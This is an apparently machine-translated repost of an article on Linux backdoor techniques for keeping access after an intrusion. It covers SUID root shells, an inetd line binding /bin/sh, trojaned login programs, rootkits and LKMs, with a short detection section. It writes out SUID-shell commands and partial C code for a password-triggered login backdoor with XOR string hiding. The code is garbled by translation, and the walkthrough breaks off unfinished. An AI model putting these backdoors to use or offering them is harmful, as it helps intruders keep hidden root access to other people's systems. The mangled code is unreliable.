Discussion on the backdoor technology and practical methods of odd goods in Linux
Source: Internet
Author: User
Article Title: About the backdoor technology and practical methods of odd goods in Linux. Linux is a technology channel of the IT lab in China. Includes basic categories such as desktop applications, Linux system management, kernel research, embedded systems, and open source.
Backdoor Introduction
A technology used to facilitate next entry after intruders fully control the system.
You can modify the system configuration file and install a third-party backdoor tool. It is concealed and can bypass system logs and is not easily discovered by system administrators.
Common backdoor technology
Add a Super User Account
Crack/sniff User Password
Place SUID Shell
Rhosts ++
Using system service programs
TCP/UDP/ICMP Shell
Crontab scheduled task
Shared library files
Toolkit rootkit
Loadable kernel module (LKM)
If the system does not allow users with uid = 0 to log on remotely, you need to add a common user account.
Crack/sniff User Password
After obtaining the shadow file, use the John the Ripper tool to crack the weak user password. Install sniffit and other sniffing tools, listen to telnet, ftp and other ports, and collect user passwords.
Place SUID Shell
# Cp/bin/bash/dev/. rootshell
# Chmod u + s/dev/. rootshell
A common user can run/dev/. rootshell on the local machine to obtain a shell with the root permission.
Modify/etc/inetd. conf and daytime stream tcp nowait/bin/sh-I; replace inted service programs such as in. telnetd and in. rexmcm with trojan program
Redirect login program
TCP/UDP/ICMP Shell
BindShell is mostly a network service program based on TCP/UDP protocol. It is easy to detect high-port listening. Ping Backdoor and activate a Backdoor through an ICMP packet to form a Shell channel.
Backdoors of tcp ack packets can be crossed through the firewall.
Crontab scheduled task
You can use the Crontab program to schedule installed backdoor programs to run on a regular basis. Generally, this is the time when the system administrator is offline during the late night periods.
Shared library files
Embed a backdoor function in the shared library and use the backdoor password to activate the Shell. The system administrator can bypass the system administrator's verification of the binary file.
Toolkit rootkit
Includes a series of system and backdoor tools:
-Clear logon records in logs
-Camouflage checksum
-Replacing netstat, ps, and other network tools
-The backdoor logon program is easy to install and use.
Loadable kernel module (LKM)
LKM: Loadable Kernel Modules dynamic loading without re-compiling the Kernel.
Intercepts system calls and provides powerful functions such as hiding directories, files, processes, and network connections.
It is easy to discover and conceal itself.
The famous LKM packages include adore and knark.
Backdoor Detection
With your own experience, combined with specific tools, you can work with your hands to detect.
Use Tripwire or md5 verification to check the system.
The IDS system monitors suspicious network connections on the target machine.
Instance: login Backdoor
The intruder first backs up the original/bin/login and replaces/bin/login with a program. When an intruder logs in via telnet, it uses environment variables or terminal types.
If a correct backdoor password is passed, a Shell is directly obtained. If a common user logs on, the Shell is redirected to the original login file to process normal logon.
The simplest login backdoor ulogin. c source code is as follows:
1. Use the DES algorithm, namely the crypt () function, to compile the gen. c program:
# Include
Main (int argc, char * argv [])
{
If (argc! = 3 ){
Printf ("usage: % s \ N ", argv [0]);
Exit (1 );
}
Printf ("% s \ n", crypt (argv [1], argv [2]);
}
2. Compile to gen and run the./gen hack ui. The shadow result is UiVqMWvDrIQjA.
3. Modify the backdoor source code ulogin. c:
-- Replace the define macro PASSWORD value in ulogin. c with a ciphertext PASSWORD.
-- If the backdoor password is correct, directly give the Shell:
If (! Strcmp (PASSWORD, crypt (display, PASSWORD )))
{
System (SHELL );
Exit (1 );
}
Use the strings command to view only the encrypted password.
Use an exclusive or (XOR) Algorithm
Represents a string in hexadecimal notation to achieve the non-printable effect.
1. The encoding program encode. c is as follows:
Char magic [] = "\ x71 \ x67 \ x6d \ x7a \ x65 \ x61 \ x7a ";
Char * de (char * str, char * key)
{
Int I = 0, j = 0, len;
Len = strlen (key );
While (str [I]! = '\ 0 '){
Str [I] ^ = key [j];
J ++;
If (j = len) j = 0;
I ++;
}
Return str;
}
Void display (char * str)
{
Int I;
For (I = 0; I Printf ("\ n ");
}
Main ()
{
Char gets [100], * ptr;
Ptr = gets;
Scanf ("% s", ptr );
De (ptr, magic); display (ptr );
}
2. Compile the program encode and execute it in sequence to obtain the result of the key string and magic string exclusive or, for example, the original login file name/sbin/xlogin, after exclusive or:
\ X5e \ x14 \ xf \ x13 \ xb \ x4e \ x2 \ x1d \ x8 \ xa \ x13 \ xb
3. The definition in the backdoor source code is as follows:
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.
A Free Trial That Lets You Build Big!
Start building with 50+ products and up to 12 months usage for Elastic Compute Service